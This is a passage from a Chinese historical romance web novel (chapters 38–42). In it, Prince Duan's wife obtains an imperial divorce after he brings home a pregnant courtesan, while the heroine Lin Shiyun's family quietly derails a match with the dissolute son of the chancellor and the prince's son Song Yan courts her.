林怀安气极,他以为是我不想吗! 妈的谁家出个王妃那不得笑醒啊,到我们家好了,上赶着的买卖还舍不得嫁! 叹了口气,他也两个女儿呢!怎么就没一个上门提亲的!相府的亲事也是相中二房的! 林怀安还在逼逼赖赖,最后叹气道,反正他又不是养不起闺女,便算了吧,没提亲的就没有,再养两年便是了。 结果没成想,没几天皇宫就来了个圣旨,他大闺女的婚事,有着落了…… 而另一边,眼看定安侯府的马车渐行渐远,姚君远颇为同情的看着被下人给坑了一把的兄弟,没忍住拍了拍兄弟的肩膀。 叹了口气道:“不若你直接求陛下赐婚吧,料想我小姑父再疼爱女儿也不敢抗旨的。” 宋晏揉了揉眉心,嗯了一声,脸上的表情冷的吓人,“晚上去王府吃酒,我先去处理几个人。” 姚君远耸耸肩,转身上了自家马车,难得宋晏想吃酒,他得去挑挑晚间喝些什么才行。 不管喝什么,反正二人是喝了一晚上了。 酒精上头的时候宋晏差点冲到定安侯府去道歉,跟变了个人似的,一整个的情绪外露。 姚君远喝的也多,但还比较清醒。 他将人拦了下来道:“你大晚上的去吓人啊?明早去,” “明日不上朝,我小姑父肯定在府上,不过你最好求着太子同你一起去,我小姑父将女儿看的跟眼珠子似的,知道你那些心思定不给你好脸。” 说完他打了个酒嗝,“我没说笑,我小姑父最疼芸儿那丫头了,你得拿出诚意来给他看看才行啊,不然,就你王府那一团乱麻,想娶芸儿怕是难,” 所以姚君远才叫宋晏去求圣上赐婚,这事最省事的法子了。 但是宋晏有自己的考量啊。 他是想靠自己得到林家众人的认可的。 宋晏自顾自又喝了一杯酒,道:“明日我求太子哥哥同我一起去,也在林大人面前做个见证,我必一心一意对芸儿好,不娶侧妃不纳妾,此生只芸儿一人,绝无二心。” 姚君远倒没有不信,他是宋晏唯一的好友,他明白宋晏对一生一世一双人的渴望,他懂宋晏的心情,但还是开口道:“你想的太好了些,太子第一个不同意。” 宋晏摆摆手,脸颊绯红,俨然是喝醉了,“你,知道的,我讨厌那些女子,我,我喜欢芸儿,只有芸儿是不同的,我只能接受她。” 姚君远点头,举起杯中的酒,也不再劝了,“成,你去,只要有决心,肯定行的。” 至于他自己,他母亲想叫他娶县主,呵,他不想。 他可不是什么任人摆布的棋子,什么联姻什么继承人,他不在乎,娶不到表妹那他便谁都不娶,游戏人间又哪里不好? 他乐意。 第39章 夜里醉酒的二人直接宿在了外头。 翌日一早宋晏便直接去了东宫,求太子跟他一起去定安侯府。 太子正在用早膳,耐着性子听宋晏说了几句,在听到是要去道歉,登时便气的拍起了桌子:“你说你要去干什么?去道歉?跟谁道歉?谁受的起你的道歉?不就买了几件衣裳而已,也值得你放下身段去道歉?” 宋晏梗着头,难得露出几分孩子气:“那是我 喜欢了多年的人,自是值得,怪我昨日太过莽撞。” 太子气得又拍了桌子,“你再给孤说一遍!我看你是鬼迷了心窍了,你什么身份!你是孤的堂弟!未来亲王!” 听到动静的太子妃忙大步上前安抚太子,“这是怎么了,晏弟难得求您一次,您怎么生了这么大的气?” 太子妃轻抚了两下太子的背,柔声劝道:“那是晏弟喜欢之人,同旁人自然不同,咱们虽是皇家,可也得讲理不是,昨日之事确实是晏弟错了,平白污了人家姑娘清誉,上门道歉不是应该的吗,您犯的着生气吗。” 太子知道是这么个道理,但还是板着脸道:“可那是臣子,孤的弟弟去道歉,他受的起吗!” 太子妃白了丈夫一眼,嗔怪道,“晏弟要娶了人家姑娘,那人家便是晏弟未来岳父,怎么受不起了,哦,这么说的话,您做错事了还得我爹来同您道歉?” 太子尴尬的咳嗽一声,怎么还往自己身上扯呢,“怎么会,孤不是这个意思。” 宋晏眼看着这夫妻二人说着说着竟凑到一处打情骂俏去了,心里更是憋闷,当他不知道太子哥哥是个怕老婆的呢,他可是见过嫂嫂拧太子哥耳朵的。 这边正聊着呢,便见外头有太监进门,说是端王府来了人,有急事要禀。 太子收敛起神色,瞪了宋晏一眼,嗯了一声叫人进来。 只见一个端王府的太监慌不择路地跪下请安,不等上首的主子问话便焦急的对着宋晏道:“世子!不好了!王妃要同王爷和离,已经进宫面圣了!” 宋晏顺便变了脸色,起身便要走,却被太子一把扯住,太子转头又质问地上的太监道:“到底出了何事?” 太监结结巴巴,将头都快埋在地上了,如实道:“是,是王爷一早带回了一个女子去给王妃请安,那女子,那女子大着肚子看着快要临盆了……” 宋晏在那一瞬只觉耳朵轰鸣,他身子晃了晃,深吸口气抬腿便往外跑,太子眉头紧皱,同太子妃道:“我去看看是怎么一回事,你稍后再来。” 太子妃点头,见太子离开,给身边的嬷嬷递了个眼神,嬷嬷转身便出去了,她又对地上的太监道:“将你知道的,详细说。” 宋晏是太子最疼爱的堂弟,马上要临盆的女子?这个时候上门,这个野心,怕是不小啊。 这边厢端王府闹起了腥风血雨,那边林怀诚休沐,揣着私房钱去找小女儿。 昨夜夫妻二人说话说到半夜。 林怀诚愁啊,这女儿太优秀也不好,这一个个虎视眈眈,大女儿那边还没定下来呢,小女儿这边又来了头狼,还是个轻易解决不了的上位者。 夫妻二人的观点一致,相府可以再看看,端王府不行。 大女儿沉稳干练,也有些心机,适合做世家妇,但是姚氏不愿。 那样太累了。 其实谢相二子,若只是废柴也不是不能嫁,他上头有兄长,下头有弟妹,嫁过去没那么多琐事。 可这两日他们得到的消息,那小纨绔不仅仅是个废物,还是个惹事生非花天酒地的,那这就不行了,这哪是给女儿找男人,这是给女儿找了个儿子,还是个上串下跳轻易还不能打骂的儿子。 家世可以,人品不行,姚氏觉得这事还得好好斟酌。 林怀诚的意思差不多,他同谢相也算相熟,都说眼见为实,他今日便打算出府去瞧一瞧那谢家二小子到底如何。 至于宋晏,绝对不行,就是陛下赐婚他也得去跟皇帝掰扯几句。 出门之前的林怀诚则是去找了小女儿,给人送钱去了。 他目前无心关注两个儿子的功课,昨夜听姚氏说了小女儿为了省钱干下的糊涂事,便一大早从自己的私库里拿了二百两的银票,准备给女儿送去。 不是他抠啊,他真没多少私房钱,二百两已经是他私库里的多半了。 林诗芸早就用完了早膳,在院子里逗小兔子呢。 才没多少日子的小兔子便已经长成大兔子了,肥肥胖胖的,给林诗芸又馋坏了,正寻思中午叫厨房加麻辣兔丁还是干煸兔肉,便见亲爹悠哉悠哉的来了。 林诗芸高兴的不得了,想着今日不知能否从亲爹身上搞到银票,便见林怀诚莫名看了她半晌后递给她一个荷包。 她接过,打开一看便蹦了起来,哎吆,两百两!!! “哇!二百两!这么多!爹爹你没偷母亲钱吧!” 林怀诚的一腔父爱瞬间散了,无语的看着口无遮拦的小女儿,只觉得这钱也不是不能要回来。 林诗芸嘿嘿一笑迅速塞进怀里,嘴里终于开始冒甜言蜜语,“爹爹真好!女儿开玩笑呢,我爹爹绝对是世上最好的爹爹了,长得又帅人又好,最重要的是爹爹嘴疼芸儿,爹爹爹爹好爹爹,芸儿最喜欢爹爹了,谢谢爹爹。” 于是,几句话又给林父给哄的红光满面,嘴巴都要咧到耳朵后了。 好半晌林父轻咳两声,故意板着脸道:“这些钱留着,别叫你母亲知道啊,省着点花。” 林诗芸抱着爹爹的胳膊,笑着哦了一声,知道昨日干的混账事亲爹都知道了,于是糊弄道:“都听爹爹的,芸儿以后一定不那么干了,一定乖乖的,爹爹别生气好不好。” 林父无奈的撇了小女儿一眼,哎,小女儿可真好看啊,淘就淘了些吧,没事,瑕不掩瑜吗,不是大毛病。 “可还有不适?下回可不准胡闹了。” 林诗芸不住点头,“都好了,不闹了不闹了,以后绝对不闹了。” 林诗芸看着爹爹的打扮眼珠子一转问道:“爹爹可是要出门?” 林父嗯了一声,“约了同僚,这便要去了。” 林诗芸抱着爹爹的胳膊不撒手,撒起娇来,“爹爹爹爹,您要去哪啊,也带女儿出去逛逛呗。” 林父自然是不愿意带的,他今日可是要去花楼逮谢家二小子,那种地方哪里能带小女儿一起去。 “不行,爹爹今日有事,下次吧,下次爹爹休沐带你出去逛逛。” 林诗芸噘着嘴哼哼唧唧的,虽然不高兴但也只能妥协,“那说好了啊,下次您休沐带我和姐姐出去逛,不能食言啊。” “自然,爹爹还能骗你不成,行了,乖宝去找你姐姐玩去,爹爹要出门了。” 林诗芸哦一声,乖乖放爹爹走了。 只是亲爹刚走,她便见大姐姐风风火火的同二姐姐一起过来了。 林诗芸闻到了八卦的味道。 林诗瑶攥着林诗意的手,面色激动道:“大事件大事件!快,你二姐姐呢,有大事!” 林诗芸一头,“二姐姐找母亲去了,怎么了怎么了?发生了何事?” 林诗意捂住了张嘴就要说话的大姐姐道:“走走,咱们进屋说。” * “啊?和离?谁?端王妃啊?” 好家伙,天家啊,林诗芸被惊到了,话本子里都少有王爷和王妃和离的。 “不是,那端王也太渣了,就这么正大光明的带个大着肚子的女子回去?” 这是个什么玩意,堂堂王爷,德不配位! 这是将妻子的脸往地上摩擦啊! 结果林诗瑶后头的话更加炸裂。 “哪是只有大着肚子,还马上就要生了,那女子还趾高气昂的同端王妃挑衅,说什么早就想见姐姐了,可六郎一直说姐姐脾气不好,叫妹妹养好胎再来找姐姐,妹妹想着这都要生了,便索性央着六郎来了王府,姐姐别生气,妹妹肚子里的是六郎亲生骨肉,总要认祖归宗的。” 林诗瑶说的绘声绘色跟亲眼瞧见似的,说完还啐了一口,骂了句什么玩意。 林诗芸疑惑道:“那,那怎么能确定孩子就是端王的?” 林诗意撇嘴,“你这话说的,不是端王的他能将人给领回去啊,他又不傻,怕是早就养在外头了,听说那女子,曾经还是那什么楼的头牌呢?一点朱唇万人尝,啧啧。” 这下林诗芸是真的瞠目结舌目瞪口呆了,堂堂王爷,叫花楼的头牌给生孩子,这……难道是真爱? 这真爱可来的也太迟了些。 林诗芸又想到宋晏,面上带了些焦急脱口而出道:“那晏,宋晏呢?他可在场?” 林诗瑶摇头,“说是都没见到宋晏,估摸着这会宋晏也接到消息去皇宫了,” 林诗瑶没发现林诗芸的异样,继续道:“端王妃看样是铁了心的要和离,她走之前已经着人收拾嫁妆了。” 林诗芸有些担心宋晏,亲爹亲妈闹成那样,他得多为难啊。 “也不知道陛下会不会允许端王妃和离。” 林诗意叹了口气,对端王妃也颇为同情,“应该会的吧,毕竟端王这次太过分了。” 林诗瑶翻了个白眼才道:“叫我说啊,早该和离了,那端王整日带些女子回去,也就端王妃能忍,” 换了是她,呵,早弄死那狗男人了,什么玩意啊。 第40章 姐妹仨聊的热火朝天,皇宫里却是安静的很,宋晏面容有些苍白,来到后便跪在母亲身侧。 皇帝四十多岁模样,极具威严,他坐在上首,天子之势尽显。 端王跪在另一侧,果真是相貌英俊,叫人看不出年龄,他从进来也并未看端王妃一眼,只跪在地上冷声道:“她想和离那便和离,臣弟没什么意见,” 这么多年他也受够了秦氏的猜忌,感情早就消磨殆尽,况且莲儿马上就要临盆,他的骨血怎能流落在外! 这么多年了他就晏儿一个孩儿,还是她亲生!她蛇蝎心肠!早就该被休弃!他顾着晏儿的面子不跟她计较,她竟然连快要生了的都容不下,还威胁要和离? 呵,笑话!他还怕她和离?! 和离!必须和离! 皇帝明显是动了怒气,他对这个弟弟一向纵容,可他也不能就这样看着弟弟欺负恩师之女!当年若不是恩师一力举荐,他哪里能脱颖而出登上大宝?! 这个混蛋玩意不感恩就罢了,做的荒唐事还数不胜数! 皇帝从案几上径直扔了本书砸到了端王头上,怒不可遏:“你给我闭嘴!” “你还有脸了!你没有意见!朕管你有没有意见!” “你这些年做了多少的荒唐事!如今倒是胆子愈发的大了,那妓女给你灌了什么迷魂汤!还给你生孩子,她算什么东西!污我皇家血脉!” 小秦氏跪在地上,脸上画着精致的妆,身子跪的笔直,面上无波无澜,一丝表情也没有。 她心早就死了,也累了。 这个男人,她早就不该要了。 只是,他以为那女人肚子是他的? 呵,他要不要问问陛下,他当年中毒之后医师是如何说的!他以为为何王府那么多女子也没再给他生下一儿半女的? 他以为他是什么了不得的东西吗,值得她给女子灌绝子的汤药?明明是他自己不能生! 呵,空有其表的东西。 显然,这事皇帝也想到了。 宋晏出生那一年,皇帝操办的一场家宴,他的酒水里被人下了毒,机缘巧合下皇帝手中的那杯酒水却被端王喝了,那毒十分霸道,端王也差点因此送命。 除了御医,皇帝也找了很多民间大夫来,好在民间大夫中有一位解毒圣手,终于将端王给救了回来,只是,那毒药却伤了端王的根本,与床笫上无事,却难以叫女子有孕。 皇帝心觉亏欠,一直纵容着弟弟胡闹,也幸好那时端王妃已经生了宋晏,端王有了后。 想到这些,皇帝脸色黑沉,直接对着外头大声道:“给我将那女人压下天牢,混淆皇家血脉!罪不容诛!” 端王气到站了起来,梗着脖子道:“皇兄!不能啊皇兄!莲儿怀的是臣弟的孩子!是臣弟的!” 皇后一脸焦急的从外头走来,身旁的嬷嬷小心服侍着,皇后面色苍白,走路都喘着粗气,应是行的急了,额前冒了些细密的汗。 太子忙上前去扶,皇帝也是一脸担心的迎了上去,“你身体不好,怎得也来了?再受了风寒怎么办。” 皇后轻咳两声,对着皇帝柔声道:“妾无事,妾怕您动怒,也怕您不允阿琬和离。” 皇帝看着皇后苍白的面容,叹了口气,待皇后坐下才道:“朕允,你且放心,这次是六弟太过了。” 宋晏和太子被撵了出去,待端王妃出来的时候,手上已经握着明黄的圣旨。 宋晏紧张的看着母亲,端王妃,不,秦琬伸出手,轻轻的抚摸着儿子的脸颊,柔声道:“母亲永远是晏儿的母亲,不论母亲走到哪里。” 宋晏眼眶湿润,他似乎早知会是这个结果,轻轻的嗯了一声,“儿子永远是您的儿子,无论您身在哪里。” 宋晏扶着母亲的胳膊,母子一起出了宫。 后来啊,后来太子和太子妃想要进殿去劝慰几句,却见六皇叔失魂落魄的跑了出来,嘴里不住的说着不可能,不可能。 但是端王还是叫皇帝给抓回去了。 皇帝将弟弟直接关在了宫里,三天后待端王回去的时候,端王府已经空了大半。 所有端王妃曾经生活过的痕迹也已经消失的无影无踪了。 不,不是端王妃了,她叫秦琬。 连她种下的桃树都被清理了干净。 她很决绝的,就那么走了,走的一干二净。 * 时间再次回到白日。 一大早春雨便出了门,她精的很,也没露面,给了路人几个大钱叫人帮着去味悦轩传了信,又去买了几个驴肉火烧,顺便在路上听了一会子八卦,跟随众人一起去看到锦衣卫去端王府抓人的热闹,最后又亲眼瞧见端王妃手拿着圣旨策马而过,这才回府。 她一回去便兴奋的同姑娘讲今日所见所闻。 此时林诗情也回来了,众人聚精会神的听着春雨讲自己看到的情形。 “圣旨?陛下允了?”林诗瑶拍了拍手,继续道:“这下端王妃总算是脱离苦海了。” 姐妹几人点头,非常同意这个说法。 只听春雨又道:“奴婢还瞧见一群官兵将端王府那个大肚子的女子给抓走了,罪名说是什么混淆皇家血脉,陛下亲自下的旨。” 我草,这意思是,端王被戴了绿帽? 好家伙,这下好了,玩大发了吧,老婆也不要了他了,啧啧,可真是活该啊。 “这是他活该,哼,”林诗芸点着头,对春雨夸赞道:“这火烧真好吃,趁热你赶紧吃去,凉了便不好吃了。” 春雨也交代清了,道了声好便笑着退下了。 只是林诗芸吃着吃着冷不丁来了一句,“晏哥哥这时候肯定很难过吧?” 说完还叹了口气,皱着眉头,好半晌才对着火烧又咬了一大口。 林诗芸抱着火烧啃的有些心不在焉,满脑子都是晏哥哥怎么办? 此时的他估计很是伤心,毕竟一个是亲爹,一个是亲娘,他夹在中间肯定很难。 但是林诗芸又觉得,宋晏肯定能理解他娘亲的,毕竟他那个爹确实不是个东西。 此时三个姐姐表情各异。 林诗瑶眨巴着眼睛,嘴唇轻抿着,笑的有些不怀好意,哎吆,这孩子不会开窍了吧? 林诗意摇摇头,哪里就开窍了,心疼归心疼,这孩子肯定还没明白自己心意呢。 林诗情则是心下一沉,完了,再这样下去她肯定会明白的,这样不行。 于是林诗情连忙给林诗瑶递了个眼神转移话题,道:“大哥那里安排的怎么样了?” 林诗瑶会意,“大哥说他已经安排妥当了,正好后日谢相夫人约了婶娘吃茶,大哥安排的人也会有所行动,放心吧, 大哥的计划比咱们的周全,不会出什么岔子的。” 眼看妹妹的注意力终于被吸引了过来,林诗情才终于松了口气。 林诗芸终于咽下最后一口的火烧,喝了口茶颇为遗憾道:“要是咱们也能偷偷跑出去瞧瞧热闹就好了。” 说完眼睛一亮,笑眯眯的看着三个姐姐。 嘿嘿,出门这个事吧,还是得自己去钻营的,办法总比困难多对不对。 那边味悦轩里谢子阳一早便来了,打扮的贵气英俊,身上是一身崭新的衣裳,连一丁点的褶子都没有,可见其重视。 只可惜在听到女掌柜说神仙姐姐今日不来了之后谢子阳瞬间便拉下了脸。 谢子阳烦躁的踢了脚椅子道:“可说何时再来?” 女掌柜看这位爷已经有了要发怒的迹象,擦了擦额角瞬隐隐冒出的冷汗,道:“姑娘说家中有事,未说什么时候来,兴许,” 谢子阳怒了,“兴许不来了?!!” 女掌柜忙摆手道,“没有没有,这倒没有,说,兴许,兴许三五天再来,那位姑娘不像是会食言的人,定会来的。” 女掌柜深吸口气,她也没撒谎,姑娘给递的口信是说改日,她说三五日也没问题吧?过去这三五日且再说吧,兴许这位爷过几日便将人给忘了呢。 谢子阳这才缓和了脸色,轻轻嗯了一声,想了想才道:“也成,那爷这几日午膳都过来用,” 女掌柜是真的叫苦不迭,忙道好好,心里是为林诗芸也为自己捏了把汗,哎,叫这种人盯上了,也不知是福是祸啊。 罢了罢了,她之前虽未见过那位姑娘,不知姑娘身份,但瞧着姑娘的衣着不俗,定也是非富即贵的,应该用不着她操心,她还是操心操心自己吧,这位爷嘴那么挑,她还得去后厨盯着厨子,可能出一点差错啊。 于是这一日,谢子阳未去花楼,为了再次偶遇神仙姐姐,他决定这几日修身养性做个好人,每日出去溜溜鸟斗个鸡再去味悦轩用个膳也便回府了。 所以这在花楼待了一日的林怀诚一天都没等到人,倒是带着一身的脂粉气回了府。 他早就同姚氏说了今日要去干什么,姚氏帮丈夫换衣裳,无奈道:“您说您好不容易休沐一日,在府上休息休息得了,还专门跑去什么春风楼去逮人家谢二,我看你是闲的!” 言罢她闻着丈夫身上浓厚的脂粉香,话风一转道:“你不是故意的吧!我看你就是想逛妓院才编的这么个理由来框我!” 好了,林怀诚急出了汗,连忙伏低做小哄妻子。 哎,他真不是啊。 * 从宫中回来端王妃便收拾行装了,翌日一早走的。 走时她只见了自己姐姐,姐俩说了很久的话,最后大秦氏只道:“也好,去过你想过的日子去吧,有钱有时间,去看看这大好河山,只是,别忘了你的儿子还在这里,常回来看看。” 秦琬趴在姐姐肩头,像无数个年幼时那般轻声呢喃,“知道了知道了,姐姐惯会唠叨人。” 秦琬擦了擦眼角的泪,“姐姐,我,不个好母亲他会恨我吗?” “不会的,你只是,不知道怎么爱他。” 姐妹俩说了很多话,久到日出东方,天色渐明,秦琬笑看着姐姐和儿子,转身踏上了南下的路。 他们羁绊半生,爱过,也恨过,便,到此为止吧。 宋晏守在母亲院外一夜,他呆呆的看着载着母亲离开的车马。 他不能同她一起离开,他是她的拖累。 从来都是。 白日里前端王妃离京的消息再次传遍了大街小巷,端王和离一事已经成了京中百姓茶余饭后的谈资,真是无人不晓。 听到消息的时候林诗芸正在看话本子,她第一反应便是,完了,母亲走了,晏哥哥这回真成小可怜了。 她想溜出去却没有理由,明日才能跟着大哥哥出去呢,便随手拿了张纸写了几个字,又同春雨嘀嘀咕咕了几句春雨点着头小心翼翼的离开了。 哎,希望晏哥哥能坚强一些吧。 是夜,月光如水。 端王府异常的安静。 下人们做完事情便缩在角落,大气都不敢出。 端王被皇帝扣在了宫中,如今的端王府只剩宋晏一个主子。 那高挑的身姿形单影只,负手而立,遥望着夜空,周围空无一人,竟显出了几分萧条来。 白日里姚君远陪了宋晏一日,最终被他赶走了。 太子也来过,可他总归要适应一个人的日子。 从前回府还有盼头,如今母亲走了,他只觉凄凉。 转身回到厢房坐下,轻轻捏起桌上的糕点放入嘴中。 这是今日林诗芸差人送来的。 她不知使了什么法子,竟直接叫人送来了几包点心,上面还有张纸条,写着好好吃饭。 宋晏轻轻扯了扯唇角,心里渐渐有了温度。 芸儿是关心他的。 总有一天,她会懂得自己的心意。 总有一天,他会和芸儿一起,有个属于他们的家。 睡到迷迷糊糊的林诗芸突然坐了起来,晏哥哥肯定很难过吧,做为朋友,她也没能出门去安慰安慰他。 也不知晏哥哥有没有好好吃饭。 哎,罢了罢了,下次见到再好好安慰他吧,还得请他吃个大肘子好好补补才行。 嗯……一个应该不够,那买两个吧,一人一个抱着啃才香。 40-50 第41章 林诗芸到底央着大哥带她出来了。 林景行也没过多阻拦,他一向宠着这个妹妹,小姑娘多去外头见些世面是好事,四妹妹性子单纯,正好也叫她瞧瞧一些男子的嘴脸,有了经验,以后才不会随意叫人诓骗。 林诗瑶林诗意被侯夫人带着出门了。 不能一起出来林诗瑶表示非常遗憾,她反复叮嘱林诗芸回来要同她细说,任何细节都不能放过。 因着这事同自己有关,林诗芸不愿意凑这个热闹,所以今日跟大哥出来的只有林诗芸一人。 他们坐在翠云楼的三楼,窗户半开着,在窗下静静观望。 林诗芸不知大哥的计划,只老实的嗑着瓜子听着楼下的动静。 她先是看到了母亲从马车上下来进了对面的茶楼,不多时便见一位颇为富态的妇人也到了。 林景行看了一眼道,“这位便是谢相夫人,” 林诗芸点点头,也不问林景行为何将她带来的是酒楼,反正她有好戏看就成。 林景行看着妹妹专注的表情摇了摇头,只觉得他这个妹妹真是又乖又可爱。 没等多长时间便见谢子阳从远处走来。 他手里拿着纸扇,身后跟着一群下人,面上漫不经心,吊儿郎当的纨绔模样。 他刚走到茶楼附近,前方便传来了骚动。 只见一位身着白衣身姿婀娜的女子拼命奔跑着,边跑边叫大声呼救。 一声声的救命吸引着众人的注意,女子的声音悦耳动听,叫林诗芸没忍住伸长了脖子想瞧的仔细些。 女子远远的便看到了前方的谢子阳,愈发大声呼救,谢郎,救我啊谢郎! 女子弱柳扶风几步一个踉跄,身后追她的人却始终保持着恰巧合适的距离。 捉不到,但又快要捉到。 今日街上的人不算多。 谢子阳自然听到呼救声,待看清了梨花带雨的女子,他忙上前将人护在怀里,大声质问追在女子身后之人,“妈的狗娘养的!老子的人也敢动!” 谢子阳身后的下人忙挡在主子身前,追着女子打手自然都认识谢子阳,忙吓到的跪了下来,一人讨饶道:“饶命啊二爷!是!是妈妈叫我们必须将三娘子带回去的!我们没办法啊!” 谢子阳气的上前一脚踢翻了那人,“她叫你追你就追!老子前些日子是怎么说的!老子叫你们好生服侍你们怎么没听?混账东西!” 他大手一挥朝下人道:“给我打!打死算我的!一群什么东西!” 接着便是噼里啪啦打人的声音,打手只护着头蹲在地上,并不敢还手。 谢子阳轻嗤一声,低头轻哄怀里的姑娘。 三娘子哭的抽抽噎噎梨花带雨,一张小脸惨白,模样可怜的很,她将身子都缩进谢子阳怀里,声线颤抖道:“奴家,奴家差一点就见不着您了 ,呜呜,爷您才几日没来了,他们便欺辱我,妈妈竟逼奴家去伺候旁人!奴家不愿啊!奴家生是二爷的人死是二爷的鬼!二爷,求二爷带我走吧,呜呜……” 这一声声给谢子阳哭的,一颗心都揪起来了,忙哄道:“是爷不好,是爷坏,爷帮你出气,娇娘不哭,哎吆,眼睛哭坏了怎么办,” 这边浓情蜜意呢,那边谢相夫人待看清下头是自己儿子抱着一个女子的时候,差点没被气死。 姚氏还算淡定,她深吸口气道:“今日便如此吧,我府上还有事,便告辞了。” 言罢也不管谢相夫人的表情转身便带着丫鬟婆子离开了。 谢相夫人气的也没了什么贵妇的姿态,冲下楼就直往儿子那里去。 打人的下人看到自家夫人之时,纷纷停下了手上的动作。 可谢子阳看到母亲来了,非但不收敛,却将怀里的人护的更紧了。 谢相夫人黑沉着脸,直接命人将儿子绑了便要带走,谢子阳小声斥责叫母亲不要绑他,他谢二爷不要面子的吗! 而那三娘子哪里会舍得同情郎分开,拉扯了半晌无果后扑通一声便给谢相夫人跪下了,“夫人,求求你不要丢下我!我,我已有了二郎的骨肉,还请夫人也带我回去吧!求夫人带我回去伺候二爷!” 就这一声,不光是谢相夫人傻了,谢子阳也呆愣愣的看着三娘子,不是,她什么时候怀的? 他怎么不知道!!! 林诗芸趴在三楼的窗户上已经快笑疯了,她努力控制着自己的表情不叫自己笑的太大声。 还是谢相夫人身边的婆子最先反应过来,一巴掌抽在女子脸上,不待女子反应便将人的嘴给封上了,两个婆子直接将人绑了给带上了马车。 一阵人仰马翻之后相府的马车快速驶离,路上行人摊贩无不见证了今日的荒唐事,这事也同端王妃和离一事一样,顺利成了京城百姓茶余饭后的谈资。 只是不管今日这事怎么闹,女子势必会进谢子阳的后院了。 而相府同侯府的婚事,自然是无人再提。 林诗芸笑着笑着又觉得自己好像不太道德,她咳嗽两声收敛起笑容,又想到了那位女子,问林景行道:“大哥哥,那个女子真的怀孕了吗?刚才看着她跑了一路呢,不能出什么事吧?” 刚有孕的女子,胎像不稳,应该不能这么奔跑吧,她幼时见母亲怀小弟时可都是小心翼翼的。 林景行摇头,“我也不知,不过,有人能给你解惑,” 他对着门口大声道,“进来吧。” 于是,林诗芸便见一个英姿飒爽做男子打扮的高个子姐姐走了进来。 她先是跟林景行请安,又躬身对林诗芸道了声四姑娘。 林诗芸是第一次见这个女子,女子二十岁左右的年纪,眉眼锋利,不苟言笑,看谁都冷冰冰的模样。 林诗芸十分好奇这女子,哇塞,这个姐姐当真是又帅又美的,好看极了,比他大哥哥都要好看呢! 林诗芸目不转睛的看着来人,林景行无奈摇头,这孩子从小便是这样,见了长得好看的便是这种眼神,不论男女。 林景行对来人道:“那女子果真有孕?” 女子躬身回道:“是,今早发现的,她说要赌上一赌。” 林诗芸回过神来,迟疑道:“嗯……是谢二的?” 女子点头,“是,她是春风楼的清倌儿,只伺候过谢二一人,她说对谢二动了真情。” 林诗芸点头,真情不真情的她是有些不信的,不过她既然说了赌一把,情爱不见得,但估计应是个清醒的女子。 赌一把,若是进相府,她下半生也就有了依靠了,不比在春风楼蹉跎半生的强啊。 林景行开口道:“嗯,不论如何,此事已了,叫她将嘴巴闭紧了,以后便看她自己的造化了。” 女子回了声是。 林诗芸瞧瞧女子又瞧瞧大哥哥,直觉二人有话要说,便乐呵呵起身道,“大哥哥,我想出去买些糕点,你同这位姐姐先说话。” 林景行点头,叫她带上婆子护卫,不要走远。 林诗芸带着春雨,二人兴奋的下了楼。 她们身处的酒楼正是翠云楼,附近有两家林诗芸常吃的点心铺子。 林诗芸照常两家都去了,她没有会吃胖的烦恼,所以每次出门都会买很多,姐妹们多,分一分也就没了。 买完东西也才过了一刻钟,她估摸着大哥哥他们差不多也说完了话,便带着春雨往回走。 说来也巧。 这时候宋晏本应进宫的。 但是却被姚君远给半路截了,非要带他去翠云楼用个膳,不然姚君远怕宋晏进了宫同端王父子俩会吵起来,吃饱了再去,也好有力气吵架不是。 其实姚君远多虑了。 宋晏是去接亲爹回府不假,但是他没打算同亲爹争论什么。 毕竟,他自小同父亲便不甚亲近,每次同父亲相处也多是为了母亲罢了。 如今母亲走了,他便装也懒得装了。 只是还未至翠云楼,便从窗子缝隙看到了从点心铺子出来的林诗芸。 今日小姑娘一身水蓝色的长裙,衬得她小脸更加洁白莹润,腰身纤细,裙摆很长,行走之间裙摆还有花纹流动。 小姑娘边走还在边同旁边的丫鬟说着什么,眉眼弯弯的,心情十分好的模样。 姚君远自然也看到了林诗芸。 瞧着又看的目不转睛的好友,无奈撇了撇嘴,一把撩开窗幔向外头道了声小表妹。 林诗芸转过头便看到了马车上的二人。 只是她自动忽略了姚君远,热情的同宋晏打着招呼。 宋晏笑着点头,几息便从马车上下来了。 只是或许是下来的时候他有些着急,步子竟然踉跄了一下,险些摔倒。 林诗芸连忙去扶,她看着才几日不见便憔悴了的宋晏,皱着眉头道:“晏哥哥,你没事吧,怎的这般憔悴。” 连嘴巴都起皮了,不光没好好吃饭,水也不喝了吗。 宋晏不自觉舔了舔唇角,眼睛直直的看向她,刚想开口,手却握成拳虚虚的咳嗽了几声。 姚君远在一旁抿着嘴静静地看着这人表演。 行吧,这招管用的话赶明儿他也试试。 林诗芸表情明显紧张起来,“怎么了?可是生病了?” 宋晏摇头,声音里也透着一股虚弱道,“无事,许是这几日有些累。” 林诗芸有些生气了,这么大的人了,也不好好照顾自己。 “怎得没唤太医看看?这般虚弱,一看便是没好好吃饭!” 她抓着宋晏的胳膊也没放手,眉心轻轻皱在一处,道,“走,我大哥哥也在前头翠云楼,你正好同我们一起用午膳,天大的事,也得吃饱了才行。” 她絮絮叨叨着,眉眼中是不自觉流露出来的担忧,“在伤心难过的时候,更要吃些东西,我叫人送去的点心你可用了?都说不高兴的时候吃些甜的会好很多,每次我生气都会吃好多好多甜的,吃完心情就好了,晏哥哥也试试。” 宋晏被她抓着,一颗心在砰砰的跳动着,他们还是头一次这般亲密接触,是亲密吧?她抓着他的手腕,他们,是亲密的吧? 宋晏感受着手腕下她 掌心的温度,喉间不自觉滚动,身体愈发灼热。 他甚至有些紧张,眼眸深邃闪着火光,忽明忽暗,他发了疯似的想将她拥入怀里,紧紧的紧紧的将她拥住。 宋晏眸色深深,好半晌稳住情绪,轻轻的嗯了一声。 林诗芸也不在意,还在自顾自的说着。 二人一个眉眼微簇地说着关心的话,一个唇角微勾面色温柔专注地听着。 皆是神仙般的模样。 男子高大俊美,面色虽有些苍白却是满身的贵气,女子身姿曼妙,眉目如画娇艳活泼,如此行在一处,谁见了不说一声般配? 后头的姚君远不住地翻着白眼,啧啧,就二人这般模样,说不是郎情妾意的哪个相信? 哎,可怜他,孤家寡人啊。 第42章 林诗芸担心宋晏心情不好,一路都在絮絮叨叨的说着劝慰的话。 春雨被姚君远故意隔在身后,只能看到自家姑娘同端王世子并排走着,只是这,这距离也太近了些。 春雨急到跺脚,但是每当她想上前提醒姑娘时却都被表公子给挡回去了,春雨无法,只能在后头干着急。 宋晏一颗春心荡漾,他和芸儿离的很近,近到他稍微低下头便能看到她眼尾的红痣,近到她身上栀子花般淡雅的香味直钻他的鼻腔,叫他鼻子痒痒的,心也痒痒的。 